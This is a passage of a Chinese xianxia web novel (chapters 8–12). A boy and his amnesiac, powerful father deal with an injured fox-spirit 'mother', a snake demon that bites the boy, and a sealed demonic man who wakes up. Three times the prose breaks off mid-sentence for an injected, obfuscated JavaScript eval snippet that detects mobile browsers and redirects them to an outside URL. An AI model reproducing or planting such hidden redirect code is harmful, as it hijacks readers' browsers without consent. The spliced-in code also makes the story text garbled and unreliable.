戚宝听完目瞪口呆,问道:“一两银子啊?万一遇到骗子,就算把他弄回去当长工一年赚的都不止这个钱。”何况这还是个外貌出众的长工。搞不好被卖去那种地方。 沈不忘听完皱着眉头,解释道:“秋生还建议我十两银子把他给卖了。” 戚宝抬脸震惊的看向爹,沈不忘满脸不解,询问戚宝的意见:“你想要几两银子?” “不锈钢盆换绝世美男?”戚宝啧啧称奇。 “不锈钢盆……是什么?”沈不忘露出疑惑的神色。 戚宝失策,立即又道:“是破铜烂铁换不锈钢盆……不对,是破铜烂铁换绝世美男。” 沈不忘虽然有些不解,还是点头道:“你想要破铜烂铁?好,听宝宝的,让你秋生叔把这话加上去。” “别啊,爹,你冷静点。”戚宝赶紧抓住他爹的手。 真的要写上破铜烂铁把这个人带走的话,那可真是把人往火坑里推了。 沈不忘无奈的看着戚宝,问道:“那你说怎么办吧?” 戚宝怔怔的看着他爹,他也没什么想法,反正总觉得把人丢了不好。 可是看他爹的意思,完全不想留他在家里。 戚宝想了想,肯定要帮他找到家人的,但告示上不能说拿多少银子换人,他家人愿意给就给,不愿意便算了。 沈不忘觉得可以,他对钱财并无想法。 戚宝又让陈秋生帮忙写了一版告示,决定明天跟他爹去镇上张贴。 晚上睡觉之前,沈不忘将柳音的小床做好了,就放在灶屋里,一人睡的小床,睡个纤弱的女子倒也可以。 戚宝帮她铺被褥,在床板上还铺了一层防潮的稻草,一边对他娘说道:“娘,你先将就一下,明日我跟爹就去镇上看宅子,过年之前我们就搬到镇上去住。” 柳音点点头,目光瞥向门外搬被子进来的沈不忘。 戚宝又说:“娘,你放心,我爹特别能干,肯定会给你过上好日子的。” “娘这里也有些银子,也给你拿去,买个大屋子。”柳音从衣袖中拿出钱袋子。 戚宝怪不好意思的,摆手不要,柳音偏要给他,还说:“娘这么多年没有见你,这也是弥补对你的亏欠。” 戚宝这下发财了。 柳音的钱袋子厉装的跟他爹收来的铜钱不一样,全是大额银票,一张一百两的有十张。 戚宝怕大帅哥冻死了,在他爹要把他放在地上睡的时候,他还给人铺了一层稻草,又铺了一条床单,才把人放上去。 放上去之后,戚宝又发现他们家没有多余的被褥了,这寒冬腊月的,人也不知道得了什么病,在这躺一夜,第二天起来人都硬了吧。 戚宝将自己的担忧跟爹说了一下,他爹听了之后赞同的点点头,道:“确实。” “要不……” “人死在家里不吉利,不如我们现在挖个坑把他埋了吧。”沈不忘说道。 戚宝看他爹不像是开玩笑,说话时的神态也一如往常般平淡如水,就像问戚宝“家里的腊肉坏了,不如我们吃馒头”一样稀松平常。 不是,爹,你是活阎王吗? “人还没死了。”戚宝提醒道。 沈不忘托腮道:“那就等他死吧。” 戚宝:…… 他爹是不是跟大帅哥有仇?可是不像啊,他爹什么都记不得了。 若是真的是失忆之后结的仇,必定是认识的,若是失忆之前结的仇,那也忘记了。 戚宝试探着问了一下,道:“爹,这是你认识的人吗?” “不认识。”沈不忘摇头。 戚宝松了一口气,语重心长的告诉他爹:“爹啊,你可别杀人,杀人是要坐牢的。”爹这一失忆,把公序良俗律法纪律都给忘了吗? “好吧。”这回答似乎有些遗憾。 家里还是睡不下,晚上便在陈秋生家里借住一晚,把他们的床让给了昏迷的大帅哥。 陈家有三间大房子,父母住一间,他还是家里的独子,朝南的主卧很大,他还有个专门的书房,这在村里是从来没有的待遇。 陈秋生把自己的大房间让出来给父子两人,自己住在书房的榻上。 戚宝还怪不好意思的,道:“秋生叔,你真好。” “嗐,都是邻居,互相照料是应该的。”陈秋生憨笑着,抱着被子回了书房。 戚宝的跟他爹躺下,一边聊着天。 这两天发生的事情比这几个月发生的还要多,先聊了一下他娘,戚宝把柳音夸了一遍,人好看又温柔还做饭好吃,又贤惠,他爹没啥反应,最后应了句:“你喜欢就好。” 什么叫他喜欢就好。 那可是他娘,要跟爹过一辈子的,还是需要爹喜欢的,于是戚宝又将她跟他爹相遇的爱情故事说了一番,英雄救美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730254|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事,最后柳音家族破灭了。 戚宝说到这里不由惆怅道:“也不知道那个封王是不是还在追杀她,我们家只是普通小猎户,会不会影响我们村子?” “实在不行,我们离开这里。”沈不忘忽然开口。 之前陈秋生让他保护去京城的时候,他当下就拒绝了,心里隐隐有一道声音告诉他不能走,现在却没有这个想法了。 “真哒?我也想去到处看看,我们去京城吧。”戚宝开始想当然的说道,“凭借爹的身手,说不定还能考个武状元了。” “宝宝喜欢,爹便考。”沈不忘将戚宝搂在怀里,胳膊放在他脑袋下,给他当枕头。 戚宝拧着眉头,很快又开心起来,感慨了句:“爹啊,你真是每次都为我考虑,你也要为自己想想嘛。” “嗯,以后会的。”沈不忘摸了摸他的脑袋,给他顺了顺头发。 戚宝又兴奋了,如果要离开这里,就不用去镇上买房子了,直接去京城买。 “爹,我们过年后就离开荷花村吧。”戚宝已经想走了。 沈不忘也没有异议。 戚宝又聊了一下那个大帅哥:“要是他没有家人领走,也没有醒来该怎么办啊?也不能真的把他卖了。” 沈不忘也开始思虑这个问题,没有吱声。 戚宝倒是很快想开了,道:“也不一定没有家人,说不定一出去就找到了。” “说不定明天就死了,被妖怪吃了。”沈不忘思虑出来一个结果。 戚宝顿时打了个哆嗦,抱住他爹道:“爹,你别大晚上说恐怖故事,我害怕。” 沈不忘将他搂搂,温声道:“好,不说了。”云戚之前不会这般胆小的,是不是该教他一些防身术。 他却忘了前尘往事,剑术了然于胸,教人之事却不知如何开始。 现在似乎也不必烦恼此事,已经打算去京城了,他可以帮云戚认一个厉害的师父也可。 夜晚很安静,却不稳定,呼呼狂啸的晚风平地起,吹得大门嘎吱作响。 戚宝已经昏昏欲睡靠在沈不忘的怀里,乖乖入睡。 沈不忘缓缓闭上眼睛,空气中忽然飘散出来一股诡异的香味,是从隔壁屋子传来的妖气。 他心里忽然松了一口气,好像什么积压已久的重任忽然消失不见了,随后便缓缓陷入了梦乡。 他做了个梦,梦中是一片看不尽的迷雾,他大喊崽崽的名字,却怎么都找不到云戚,心下着急。 “你的心,乱了。”耳边忽然传来低沉的男声,带着诱惑一般,舔舐着他的耳垂,低醇的声音带着几分调笑,“是因为我吗?” “你找死。”他一剑刺去。 那人却化作一团白雾,混入雾气中,声音从四面八方传来,他无处不在:“我们很快会再见的,你困不住我的。“ “……” 他很快就陷入更深的睡眠中,他这些年从来没有做过梦。 这真是一个恼人的梦,就跟隔壁那个男人一样。 不过没事,过了今晚就不必着急帮他找家人的事情。 9. 第 9 章 次日是个大晴天,太阳升的高高的。 戚宝揉着眼睛醒来,坐在床上迷迷糊糊了半响,发现他爹还在睡觉,睡得十分祥和。 他爹肯定是通宵打猎,还干了一天的木工活太累,所以今天到这个点还没起床。 之前每一天,戚宝醒来的时候,爹早就起床做好饭了。 戚宝自己洗脸刷牙,出来院子时,发现陈秋生正在早读,背着手对着院子里桃花树念念有词。 “秋生叔,早啊。”戚宝热情的打招呼。 陈秋生立即应好,道:“你爹还没起床吗?” “是的,爹太累了,我先回家看看。”戚宝道。 推开自家小院的门,里面十分安静,全然没有活人的气息。 戚宝未觉不对,先去看看大帅哥,他安详的躺在床上,姿势如昨夜离开时一模一样,就连头发丝都没动一下。 他就说嘛,哪里来的妖怪吃人? 戚宝轻轻合上门,又去厨房看他娘,也不知道娘亲昨晚睡得好不好。 厨房的门一打开,扑面而来一股浓腥的血气,戚宝定睛一看,脸色大变,冲上去大喊道:“娘,娘,你怎么了?” 柳音脸色惨白晕死在床上,奄奄一息,嘴唇上有干涸的血渍,地上有一摊的血,她吐血了! “娘,你别死啊,我们才母子团聚,你怎么了?”戚宝大声呼救。 柳音虚弱的抓住戚宝的手,微微睁开一些眼睛,道:“我不会死的,戚宝,别哭。” “我我我……我这就去找爹,让爹给你找大夫来。”戚宝六神无主,出门的时候差一点摔了一跤。 柳音躺在床上,咳了咳,捂着胸口,一只手摸着被子下断掉的两只狐尾,那个人到底是什么怪物,只是一个眼神便让她断了两只尾巴,丢了两百年修为。 若没有夫君留给她的宝物,此时她已经被打回原形了。 柳音眼中满是不甘,她不想死,她不能死,她还没有复仇。 沈不忘很快被戚宝叫来了,他似乎还没睡好,揉了揉眉心。 进屋看着柳音这般虚弱的模样,不由也惊了一下,他还以为昨晚这个狐狸精已经把那男人吃得连骨头都不剩,没成想被反杀了。 “爹爹爹,娘不会死吧?”戚宝一边问一边抹眼泪,好不可怜。 沈不忘沉默了片刻,拿出一根人参须,塞进柳音的嘴里道:“嚼着吃。” 柳音艰难的嚼着,很快一股充裕的灵力传到静脉中,缓慢的修复着她的碎裂的五脏六腑。 她瞪大了眼睛,看向眼前的男人。 这……至少是修炼成人形的人参,少说也有五千年道行。 想不到他竟然有此等天材地宝,若是整个吃下,她不仅能保住小命,还能一举突破大境界。 在修仙界是这样的,人生来是适合修行,动物修行要有机缘开灵智,上百年才能修炼成人形,而植物则更久。 “娘,你好一点了吗?”戚宝哭丧着脸问道。 柳音缓缓点头,道:“云戚,别哭了,娘心疼。” “你伤的有些严重,光吃这个不行,我先给你熬点药,再送你去镇上的医馆。”沈不忘道。 柳音几乎想要喊出来,医馆没用,把人参给我。 沈不忘凉凉的解释了一句:“我只拿了人参须。” “好。”柳音舔了舔嘴唇,问道,“人参是在西山采的吗?” 沈不忘沉眸看着她,冷锐的目光似能看穿她心底的贪婪。 戚宝也抹掉眼泪,说的那叫一个情真意切:“娘,你去医馆好好休息,我跟爹去帮你挖人参。” 柳音勉强笑了笑:“好。” 沈不忘起锅烧水,戚宝帮忙往锅里添柴禾,无数的药材就往豁口的大铁锅里面下,柳音看得那叫一个心疼,任凭哪一个药材拿出来都是修真界炼药师梦寐以求的好东西,他竟然这般糟蹋。 柳音勉强打起精神看了一会,发现他说的是煎药,实则是炼丹。 大铁锅炼丹,药效必然大打折扣,天阶药材,只有配上九级炼药鼎和化神期以上的炼药师,少则炼化七七十四九天,多则九九八十一天才能练出天阶丹药,眼前的仙人虽然厉害,这么做也只是糟蹋药材罢了。 况且,这普通的锅和火,也不知道要烧多久才能出丹药。 等他练出药来,她只怕早已魂散道消了。 柳音虚弱的想着,待会趁他们不注意,找借口离开好了,等到修养生息后再回来。 浓郁的药香传来,空气中弥漫着浓郁的灵气,柳音精神为之一振。 她惊讶的看着破落的灶台,锅里的丹药竟然正逐步成型了。 “砰”的一声,锅盖被撞飞起了一下。 戚宝赶紧往屋外跑,一边喊道:“爹,你又炸厨房了,药都被你烧成黑炭了。” 沈不忘面色不变,将锅炉中的柴火撤出,这一锅出了十枚玄级上品丹药,五枚地级中品丹药,因为时间比较短,丹药品质也不够稳定。 柳音心中泛出惊涛骇浪,这究竟是何人?竟然拿个大铁锅只花了半个时辰就练出了地级丹药,若是他有神王鼎和异火的话,只怕超天级丹药也不在话下。 “拿着吧,这药品质一般,无法根治你的病症,我们送你去医馆。”沈不忘自留了两粒地级丹药,其他的全都给了柳音。 柳音瞠目结舌,心想难道镇上的医馆比他还厉害? 戚宝见厨房里浓烟翻滚的,实在是难受,道:“娘,你别吃这个黑炭,我跟爹肯定去给你挖人参。” “好。”柳音虚弱的应着,舔了舔干涩的嘴唇,五千年血人参。 沈家父子找来赶牛车的李大爷,给了他些银子,让他赶着牛车送三人去镇上的医馆,大夫诊断后,给她开了几贴药,让她每日来复诊。 来回村子和镇上十分不便,戚宝便让她在镇上的客栈住下。 镇上只有一家客栈,小二还是那日的小二,见到几个人一道来,惊讶道:“姑娘,多日不见,怎么没见你两位妹妹?” “娘,你还有两个妹妹吗?”戚宝好奇道。 柳音脸色又白了一下,颔首道:“她们有事,先回去了。” 沈不忘也不管她说什么,淡定的交了银子给她开了房,戚宝也把柳音给她的银票还给她了,以备不时之需。 柳音有种要被抛弃了的感觉,问道:“不如你们留下来陪我吧?” “我跟爹还要去帮你找人参,给娘治病。”戚宝认真的回道。 柳音看向 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男人自然不会给他答复。 戚宝好奇这人这么躺着冷不冷,他小手握了一下他的手指,他的手还是热乎的,说明他还活的好好的。 “云戚。”沈不忘唤了他一声。 戚宝立即松了那人的手,道:“爹,怎么了?” “你去秋生叔家待着,爹去找人参。”沈不忘皱眉,不喜戚宝跟那人说话。 昨夜那只狐狸分明对此人动手了,今早却身受重伤,显然是他干的。 他是一个危险分子。 戚宝应好,还贴心的替他爹拿来竹篓和镰刀,并且叮嘱道:“爹,你早去早回,别在山上过夜知道吗?” “嗯。”沈不忘心道他采药草不需要任何工具。 他只需要走到空旷无人处,唤那人参精的名字,它便会出现。 沈不忘在荷花村遇到的第一个妖怪便是人参精,他救了老人参一命,老人参是个知恩图报的,每个月把他自然脱落的人参须送来,送给云戚补身子,说这个对孩子好。 人参须就如人类脱发一般,每天都有那么点,老人参是个脱发比较厉害的,每个月都能送一堆,这东西沈家父子见怪不怪了,但是对其他人来说则是求而不得之物。 沈不忘离开村子,戚宝去了陈秋生家里烤红薯。 安静破败的沈家土房子里,沉睡中的男人手指缓缓动了动,似乎在回握戚宝之前抓他手指的动作。 戚宝等待烤红薯的时候,略有些无聊,陈秋生比他更无聊,开始哄他说要教他读书,戚宝不听不听,捂着耳朵跑出了陈家院子,捡路边的石头玩儿。 小路上远远走来一个青衣女子,见到他便问:“沈不忘沈云戚家是在这里吗?” “你找他们有什么事吗?”戚宝站起身来,看着眼前的青衣女子,她长得俏丽可爱,十分灵动活泼,一双又黑又大的眼睛像是宝石一样,看上去有些不好惹的样子。 戚宝上下打量着她,心道,这人该不会也是我娘吧? 也? 他摇摇头,把奇怪的念头甩出去,人只有一个娘的。 10. 第 10 章 青儿露出一个和善的笑容,温柔的说道:“我是你娘柳音的妹妹,专门来找你的。” “啊?”戚宝听这话有些奇怪,脑子却在此时发了昏,一时半会没有反应过来她的话哪里不对。 戚宝关心他娘,顺着她的话问道,“你找我做什么?” “你娘在镇上快不行了,让我来接你,想要见你最后一面。”青儿露出难过的表情,眼睛却死死的盯着戚宝。 “什么?”戚宝大惊失色,立即道:“怎么会这样?她不是看过大夫吃过药了吗?” 青儿幽幽的叹了一口气,道:“可能是这些年过得太差了吧。” “我要去找我爹,他肯定有法子的。”戚宝惊慌失措道。 青儿眼珠子转了一下,道:“好,我们先走,可能路上就见着你爹了。” 青儿牵着戚宝的受朝着镇上的方向走去,戚宝也没多想。 青儿一路上都在跟戚宝说他娘这些年过得多不好。 大约就是柳音这些年一直在找他们父子,殚精竭虑从未休息好,早就亏空了身体,如今找到了他们,松了一口气,便突然病倒了。 戚宝的小脸皱成了包子,小小的心脏揪在一起,两个人走出了一里多地,恰好与沈不忘离开的方向相反。 沈不忘背着一箩筐的人生须回来,放下东西,正要去陈秋生院子里找戚宝时。 卧室里传来了汹涌的气息,魔气滔天,直冲云霄,染红了半边天。 沈不忘心中顿觉不好,放下手中的东西便进了屋子。 男人依旧处于昏迷之中,不过脸色却不似昨晚那般苍白,嘴唇变得殷红,好似喝了血一般。 这个人…… 沈不忘走到床边,凑近了一些。 倏地,床上的男人睁开了眼睛,那是一双不似人的瞳孔,黑色的瞳仁里散落着一颗一颗红色的光点,好似星星点缀着夜空,红与黑的颜色纠缠着,宛如一道旋涡,将人的灵魂都吸附进去。 他不是人。 沈不忘立即后退两步,却被男人抓住了手腕。 涣散的眸子恢复清明,敛去了眼底的红色,一双漆黑的眸子深沉无底又危险,四目相对,呼吸都变得小心起来,似乎怕惊扰了对方。 —— 荷花村村口,青儿牵着戚宝越走越快,戚宝恨不得要小跑才能跟上她的脚步。 很快便走到了乡道上,此处已经走出了荷花村,周遭全是荷塘,冬季时水面一片寥落,枯萎的荷叶,结冰的水面,冷冷的山风吹来。 戚宝气喘吁吁扯了她一下,道:“青儿阿姨,我知道你很急,但是你也别急。” “云戚,你该不会不想见你娘最后一面吧?”青儿横着眉毛,冷声质问道。 戚宝呆了一下,道:“青儿阿姨,你好凶啊。” 青儿收敛了一下脸上的怒意,努力温柔一些哄道:“云戚,我也是太担心姐姐了,若是她见不到你,只怕死也不会瞑目的。” 戚宝怔怔的看着青儿的眼睛,她蹲下来跟他平齐,道:“要不这样吧,我背你走。” “等一下。”戚宝忽然反应过来到底哪里不对劲了。 他努力挣脱了青儿拉着他的手,往后跑去,青儿脸上挂着似笑非笑的表情,问道:“云戚,怎么了,你不想去见你娘了吗?” “你是骗子,你是人贩子。”戚宝一边跑一遍回答。 戚宝反应过来,这个青儿的人到底哪里不对劲了。 她见到他的第一句话是【沈不忘沈云戚家是在这里吗?】,这话显然是问陌生人的,戚宝当时并没有回答是或不是。 她接下来便说,她是他娘的妹妹,要带他走。 显然,此人早就知晓他的身份,还装作不认识他的样子,假惺惺的询问。 她肯定别有预谋,随后便以他娘病危的事情骗他,转移他的注意力! 这人绝对是人贩子,看他长得这么可爱,就想骗小孩卖掉! 21世纪这样的骗术很多的,戚宝应该一开始就反应过来,可当时偏偏昏了头。 青儿则是不疾不徐的跟着他,语调危险的问道:“你是怎么看出来的?” “我不告诉你,你别想骗我。”戚宝才不会傻傻的跟坏蛋解释,浪费时间不说,两人实力悬殊。 戚宝奋力的超前跑去,他腿在飞奔,却没有往前走多少路。 很快,他反应过来自己在原地跑,忽然,背后一股强大的吸力,将他拉扯后去。 回过神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730256|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,戚宝已经被提在了青儿的手中。 青儿提着戚宝的后领,弯腰将脸凑近戚宝,笑吟吟的问道:“真是个聪明的小儿,告诉姨,你是怎么发现的?” “你你你……你放开我。”戚宝不断的挥舞着手脚,对着青儿拳打脚踢。 青儿脸色阴沉,阴狠道:“臭小孩,我今天就要吃了你。” “什么?你要吃人?”戚宝愣住,他还以为自己听错了。 青儿狞笑着,伸出细长的分叉的舌头舔了一口戚宝的脸,垂涎道:“味道真好啊,我感觉我要突破了,桀桀桀,如果不是你爹出门了,我还真没机会品尝此等灵童妙人。” 戚宝瞳孔地震。 这是什么东西?怎么会有这么细长的舌头? 青儿笑的真心实意,瞳孔也变成了竖瞳,眼白青青黄黄的,是野兽的眼睛。 靠靠靠,蛇精啊! 戚宝呆住,眼珠子发直。 青儿以为他吓坏了,心中得意,正要嘲笑两句,戚宝扭着头就冲着她的手腕重重咬下去,使出了了吃奶的劲,恨不得从她手上咬下一块肉来。 青儿吃痛的撒手。 戚宝落地就跑,青儿咬牙切齿道:“看我不把你生吞活剥了。” 戚宝呸呸了两声,吐掉口中的血,心里骂骂咧咧,不知道这是什么品种的蛇,该不会是竹叶青吧,他咬了竹叶青会不会中毒嗝屁? 天上的太阳很大,一个巨大的长长的影子笼罩着戚宝,那是一条三丈长的巨型蟒蛇,戚宝不敢回头看,只想快点跑回去。 戚宝两条小短腿怎么能跑得过修炼几百年的蛇妖,很快巨蟒便超过戚宝,拦住他回去的路。 戚宝看清了蟒蛇的样子,这是一条黑白相间的蛇,蛇鳞又黑又亮,不像是有毒的样子。 他暗自松了一口气,至少不会被毒死。 转而又害怕起来,这蛇妖十分可怖,那么大那么长,盘旋在小道上,眼睛有灯笼大,张着血盆大口,一口就能吞掉戚宝的脑袋。 戚宝前世今生还是第一次见到这么可怕凶猛的野兽,他差一点吓晕过去。 但是他咬住舌尖,坚定住意志想着:如果我晕了,我绝对活不了,若是醒着,还有机会回家见我爹爹。 11. 第 11 章 戚宝掉头就跑,这边回不了村,可是他无路可走。 “没用的,小孩,今天就是你的死期。”那蟒蛇口吐人言。 它甚至都不用行动,支着蛇身便能越过戚宝身边,它张着血盆大口,朝着戚宝咬过去,戚宝摔倒在地,人在遇到危险的时候,第一反应是护住脑袋,戚宝也如此,双手护住脑袋。 蟒蛇的牙齿嵌入了他的小臂,好疼。 我要死了吗? 青儿尝到了充满浓郁灵力的血腥味,她狂笑着:“好美味啊,太好吃了,我的力量又重新回来了。” 这个小孩真是大补的灵药,很快,她意识到不对劲,小孩血液里不止有灵气,还有强势霸道的不容人抵挡的……龙威。 龙,他是龙! “啊!!!”蟒蛇恐惧的松开口,龙天生就是万妖之主,对她们有先天的压制,此时喝下去的龙血已经在她经脉中沸腾起来。 它鬼叫什么? 戚宝觉得自己才应该害怕尖叫,可能实在太害怕了,他竟完全出不了声。 戚宝小心翼翼的放下手,他知道蛇吃东西都是活吞的,这蛇妖的体型,吞下十个他都不在话下。 可是他对上蟒蛇的眼睛时,他似乎从中看到了些许的恐惧。 “你别杀我,我还是小孩,肉不多的,你肯定吃不饱的。”戚宝握住自己的手腕,不断地往后退去,试图跟她讲道理。 蟒蛇浑身难受的在地上打滚,身体里似有什么东西在燃烧,好难受好难受,她要爆体而亡了。 戚宝吓得赶紧走,那蟒蛇终于有了动静,逃难似的朝荷塘扎了下去,水面的冰块飞溅,它在冰层下游的飞快,好似背后有什么在追它一般。 戚宝好一会儿才回过神,因为恐惧心脏剧烈的跳动着,背后汗湿了一片。 他看着手上被蛇牙咬破了一个洞,正流着血,血液的颜色很红,戚宝唯一庆幸的是,那不是一条毒蛇。 虽然没中毒,他也可能得破伤风。 他慢慢的起身,捂着伤口朝着家里走去。 戚宝一路上想了很多事情,他刚刚往家里跑的做法是不对的,本来死的只有他一个,如果把蛇妖引回去,他和他爹都得死。 蛇妖啊!那是蛇妖啊! 戚宝又反应了一下,才惊觉这个世界竟然有妖怪。 天啦,他生活的世界不是普通的农村,也不是什么侠客贵女救命之恩以身相许之类的,而是……志怪世界,有妖怪啊!! 戚宝心有戚戚焉,不敢在外逗留,赶紧往家里跑。 他流了很多血,跑步让他两眼发黑,最后只能走着回家。 也不知道那大蟒蛇去了哪里,会不会吃别人?像是这种妖怪,应该怎么处理?这世上是不是还有那种专门捉妖的道士? 戚宝脑子里闪过无数的念头。 草房子里的沈不忘感受到了浓郁的妖气从村外传来,是蛇妖。 沈不忘心中顿时一凛:云戚!蛇妖带走了云戚! 沈不忘立即转身离去,床上的男人将他拉的更紧, 他从昏迷中恢复了神智,认出了眼前的男人,意识到这不是做梦,他嗤笑了一声:“你还想逃?” “你放手。”沈不忘厉声呵斥。 他扯了扯嘴角,眼中却冷冷的:“沈君钦,你什么时候对我说话这么温和了?” 沈不忘发现此人身上的气息更重,不由皱眉,更让人在意的是,他喊的名字,是他的吗? “你在跟我说话?”沈不忘回头,居高临下的看着他,清冷的眸子不带一丝情绪。 “除了你,这里还有第二个人吗?”男人嘴角挂着邪笑,深邃的眸子竟是血红色的,此时更多的是黑色,他道,“你过来些。” 沈不忘感受到了他的危险,男人撑着身体坐起来,顾不得先治疗伤势,只想先跟警惕的沈君钦好好叙叙旧,此时的他,跟以前的任何时候都不一样。 说不上来哪里不同,却更让人挪不开眼睛。 或许是他们分别太久了,都说小别胜新婚。 “你想说什么?”沈不忘下意识的凑近一些,此人的危险程度比屋外的妖气更为可怕。 “当然是……”男人眼底带着笑意,忽然朝着沈不忘伸手,将他拉到自己的怀里,然后捏着他的下巴就亲了上去。 沈不忘惊恐的瞪大了眼睛,这人在干什么? 男人见他没有反抗,更加放肆,舌头撬开他的牙关。 …… “砰”的一声,沈不忘推开了他,“啪”的一耳光,男人的脸被打偏过去。 他擦了擦嘴角,笑得越发放肆,道:“在封印中的这些日子,我无时无刻都想着你,你竟然这么无情。” “我不认识你。”沈不忘压下心中的不适,冷漠的回绝。 男人听到这话,顿时脸色沉了下来,道:“你以为我会信你?” “恶心。”沈不忘看着他,薄唇冷冷的吐出两个字。 男人愣了一下,正要说什么。 门外忽然传来小孩的喊声:“爹——爹——不好啦!” 沈不忘和男人都将目光投向门外。 木门被推开,戚宝小小的身影站在门口,气喘吁吁的,道:“爹,大事不好。” “慢慢说。”沈不忘正要朝着戚宝走去。 床上的男人却用力拽住沈不忘的手腕,不让他走。 沈不忘目光警示,男人哼笑一声,阴沉的目光看向戚宝,笑容散尽,咬牙切齿质问道:“沈君钦,你竟已在人间娶妻生子了?” 徒然而生的杀意和狂躁的气息刹那间充满整个屋子。 危险。 戚宝吓得往后退了一步,这个大叔看上去好可怕,红色的眼睛看他的时候,像是要吃人。 “砰”的一拳,沈不忘已经先他一步,一拳头砸在危险男人的脸上。 “咔嚓”一声,什么东西断了? 嘶,戚宝都觉得疼,该不会是爹的手被打断了吧? 床板应声断了,危险男人也晕了过去。 戚宝: ((???? ?‖))?爹,你好猛! “爹你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730257|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚宝脑子空空的,一时竟忘了他想说什么。 沈不忘甩开那男人的手,大步走到戚宝面前,蹲在他面前,像是无事发生一般,温声问道:“怎么了?” “爹你,他,你……你手没有打疼吧?”戚宝又很多话想说,最后憋了一句。 沈不忘将自己的手拿给戚宝看,道:“没事。” 戚宝抓着他的大手仔仔细细的检查了一下,终于意识到他爹没有受伤,松了一口气的同时,沈不忘抓住戚宝的手,拉开他的衣袖,便看到他手腕上有个大血洞,此时已经不流血了,伤口看上去却有些可怕。 沈不忘脸色不佳,皱眉道:“你手出血了?怎么回事?” “爹,不好啦,荷花村有妖怪。”戚宝这才忆起自己的遭遇,他差一点被一条大蟒蛇给吃了,后来不知道蛇妖遇到什么事情,跑掉了,刚刚确实九死一生,“它真的是妖怪,一开始是这么一个人,长得还挺好看,忽然就伸出舌头舔了我一口,说要把我吃了,然后刷的一下就变成了一条大蛇。” 沈不忘眉头皱的很深,道:“那条蛇往哪里跑了?我去把它杀了,替你报仇。” “额……爹,你一点不害怕吗?”戚宝瞥了一眼他爹的神色,说去杀妖怪就似跟切萝卜一般,习以为常。 沈不忘去拿草药和纱布,戚宝心有戚戚焉,亦步亦趋的跟在他身后,一时有些无言。 戚宝想了半响,又道:“我是第一次见到妖怪,有点害怕,爹,你真的不怕吗?” 沈不忘转身,将戚宝抱起来坐在桌子上,拿了个上午炼制的丹药给戚宝,戚宝面露难色,这玩意很难吃的。 戚宝犹豫很久吃掉了,苦的他想哭,一颗晶莹的泪水挂在下眼睫上,悬而不落,好不可怜。 沈不忘又拿出人参须给戚宝嚼着咽下,一边给戚宝包扎伤口,说道:“之前你吃的那个兔子,也是个妖怪。” “尊嘟假嘟?”戚宝眼睛瞪得圆圆的,有些想象不到,心有余悸的问道,“我吃那些东西,该不会中毒吧?还有爹,你怎么这么厉害,连妖怪都能杀掉?嘶嘶嘶,爹,你轻一点,我手好疼,我这手还能要吗?我该不会变成残废吧?” 沈不忘手轻了一点,道:“爹轻一点。” 戚宝看着沈不忘明显放轻了一些力气,问了句:“我的手应该不会变成残废吧?” “不会。”沈不忘拧眉,拭去他眼下的泪珠儿,心中懊悔,若是那日他除掉那蛇妖,就不会让崽崽受伤了。 “想不到这个世上有妖怪。”戚宝害怕了一下子,但是看他爹这么淡定,心中的恐惧便消失不见了,他爹还能杀妖怪,刚刚一拳把那个男人给打晕了,床都□□碎了。 戚宝这才关心起那个昏迷了好多日的男人,问道:“爹,那个人,脑袋没有被你打碎吧?会死人的。” “没死,皮很厚。”沈不忘连个正眼都不给那人,皱眉。 戚宝拍了拍胸口,道:“那就好,杀人会坐牢的。” “……”沈不忘心不在焉的点点头,好看的眉头在看到他受伤后都没有舒展过。 12. 第 12 章 戚宝本想再说点什么,可眼看着爹爹如此愁眉不展,便默默闭嘴,不能让爹爹担心。 他爹不知道在怎么了,看上去不是很开心。 戚宝还是第一次看到强大的爹爹露出这副样子。 之后的时间,戚宝不敢乱跑了,院子门都不出,他爹在哪里他就跟到哪里,沈不忘将砸碎的木床搬到院子里。 这木床不看不知道,一看吓一跳,竟然已经断裂成这样子了,整个床都垮了,根本睡不了人,可见沈不忘是花了多大的力气揍人。 沈不忘找来工具,开始敲敲打打,这些日子做木工的技术变得十分醇熟,他修理了好一阵才重新将木床订好。 戚宝忙前忙后,给爹递道具,给爹送水。 “乖崽,你坐旁边歇着就行,别累着。”沈不忘瞧小家伙小脸惨白,失血过多的样子,心疼不已。 戚宝摇摇头,表示自己不累。 收拾好了,沈不忘便将床搬回房间,铺上干净的被褥。 戚宝瞥了一眼昏迷的男人,此时被他爹丢在泥土地上,寒冬腊月的就这么水灵灵躺在湿冷的地面上,也不知道会不会冻死。 戚宝又想,爹真的很善良,辛辛苦苦将他从山里背出来,还让他躺在自己家床上。 